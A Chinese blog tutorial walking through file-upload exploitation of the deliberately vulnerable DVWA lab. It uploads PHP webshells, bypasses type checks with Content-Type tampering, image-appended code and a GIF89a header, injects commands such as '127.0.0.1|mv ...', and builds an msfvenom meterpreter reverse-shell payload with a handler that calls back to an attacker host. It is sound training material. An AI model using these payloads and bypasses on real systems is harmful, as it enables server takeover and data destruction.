DVWA1.9之文件上传漏洞High级多种方法

前言

文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞

文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知

本人测试的靶场是通过centos7系统用docker-compose来搭建的一个全能靶场,靶场环境不一样,用的工具也不一定能连上,希望大家请理解一下,谢谢

在这里插入图片描述

LOW级别漏洞利用

1、 编辑一句话木马q.php

在这里插入图片描述
2、 上传

在这里插入图片描述
3、 用菜刀连接

指定连接目录为http://192.168.5.199/hackable/uploads/q.php,参数为cmd,类型为PHP(eval)

在这里插入图片描述
4、 双击新添加的条目

在这里插入图片描述
5、 获取目标站点目录访问权限

在这里插入图片描述

Medium级别

Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型(Content-Type)必须是jpeg或者png,大小不能超过100000B(约为97.6KB)

首先抓包修改文件类型

一句话木马不受大小限制影响

1、 将上面Low等级的q.php更名为w.png(这里说一下可以改jpeg或者png)
2、 上传w.png,并开启抓包

在这里插入图片描述
在这里插入图片描述
3、 修改上传文件后缀名(把w.png改为w.php)然后点击放包按钮(Forward)上传

在这里插入图片描述
4、 上传成功

在这里插入图片描述
5、 用菜刀连接

指定连接目录http://192.168.5.199/hackable/uploads/w.php,参数为cmd,类型为PHP(eval)

在这里插入图片描述

High级别

High级别的代码读取文件名中最后一个.后的字符串(文件后缀名),期望通过文件名来限制文件类型,因此要求上传文件名形式必须是*.jpg、.jpeg 、.png之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型

什么是文件头?
文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分

文件头就是为了描述一个文件的一些重要的属性,文件头告诉了打开并处理该文件的程序这些属性

常见文件的文件头(16进制):

JPEG (jpg),文件头:FFD8FF

PNG (png),文件头:89504E47

GIF (gif),文件头:47494638

HTML (html),文件头:68746D6C3E

MS Word/Excel (xls.or.doc),文件头:D0CF11E0

Quicken (qdf),文件头:AC9EBD8F

ZIP Archive (zip),文件头:504B0304

RAR Archive (rar),文件头:52617221

可执行文件(EXE),文件头:MZ

这里有几种方法,我一一举例说明

(一):将木马隐藏在图片中绕过(High文件上传+Low命令注入)

1、 首先把medium使用的图片木马w.png更改为c.php
并使用copy命令将木马文件c.php与图片文件e.png合并为t.png

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Copy e.png/b+c.php/a t.png

可以看到,一句话木马被添加到图片的尾部

在这里插入图片描述
2、 上传成功

在这里插入图片描述
3、选择命令注入(Command Injection)

在这里插入图片描述
4、用命令注入方式来查看该目录

127.0.0.1|ls …/…/hackable/uploads

在这里插入图片描述
在这里插入图片描述
6、 然后通过命令注入方式输入以下命令来进行更改文件后缀

127.0.0.1|mv …/…/hackable/uploads/t.png …/…/hackable/uploads/t.php

在这里插入图片描述
7、 然后就直接上菜刀

(由于路由器关了一次,这里的IP地址更改了,这里不用担心,操作跟前面Low等级的一样)

指定连接目录http://192.168.5.129/hackable/uploads/t.php,参数为cmd,类型为PHP(eval)
在这里插入图片描述

(二):用msfvenom生成的以php代码的图片木马中加入GIF89a;图片欺诈头部绕过(High文件上传+Low文件包含)

注:(在Kali上进行测试,虚拟机要使用桥接模式)

1、 首先用msfvenom生成一个PHP语言的PNG图片木马

在这里插入图片描述

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.5.214 lport=3333 >> any.png

2、 上传图片木马

在这里插入图片描述
3、 上传失败

在这里插入图片描述

出错的英文提示是:您的图像未上载,我们只能接受JPEG或PNG图像。

4、 然后我们用VIM编辑器(这里没限定编辑器)在sam.png图片木马头部加一个代码GIF89a;

在这里插入图片描述
5、 再次成功上传图片马

在这里插入图片描述
6、 在终端输入msfconsole进入控制台

在这里插入图片描述
7、 然后输入以下命令

在这里插入图片描述

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lport 3333
set lhost 192.168.5.214
exploit

8、 然后选择Low等级的文件包含

在这里插入图片描述
在这里插入图片描述

10、在地址栏输入以下的地址并回车

192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/any.png

在这里插入图片描述
11、msfconsole控制台就有生成一条会话

在这里插入图片描述
12、然后我们通过命令查看一下/hackable/uploads这个目录下有什么文件

在这里插入图片描述
13、然后我测试一下,随便删除一个文件试试,看看有没有权限,测试成功了

在这里插入图片描述

(三):将木马隐藏在图片中绕过(High文件上传+Low等级文件包含)

1、 先用一个txt文本,输入GIF89a;图片欺诈头部和一句话PHP木马,然后更改后缀名为00.jpg

在这里插入图片描述
2、 上传文件00.jpg

在这里插入图片描述
在这里插入图片描述
3、 更改安全级别为Low

在这里插入图片描述
4、 选择文件包含,并在地址栏输入,但先别按回车!!!

http://192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/00.jpg

在这里插入图片描述
5、 打开burpsuite进行抓包,这里要注意一下,点击开启抓包按钮先不要急着关闭!!!

在这里插入图片描述
把Cookie这一行复制下来

6、 打开菜刀

指定连接目录http://192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/00.jpg参数为cmd,类型为PHP(eval),字符编码为GB2312

在这里插入图片描述
7、 在菜刀的其他空白地方按鼠标右键,点击设置

在这里插入图片描述
8、 设置请求头,把刚刚在burpsuite抓包出现的Cookie值复制进去,按照图中的数字顺序进行操作

在这里插入图片描述
9、 双击新添加的条目

在这里插入图片描述
10、获取目标站点目录访问权限

在这里插入图片描述
11、发现刚上传的00.jpg文件在里面,然后测试一下是否有权限删除文件,我随便删除一个文件进行测试,成功了

在这里插入图片描述
在这里插入图片描述

  • 11
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值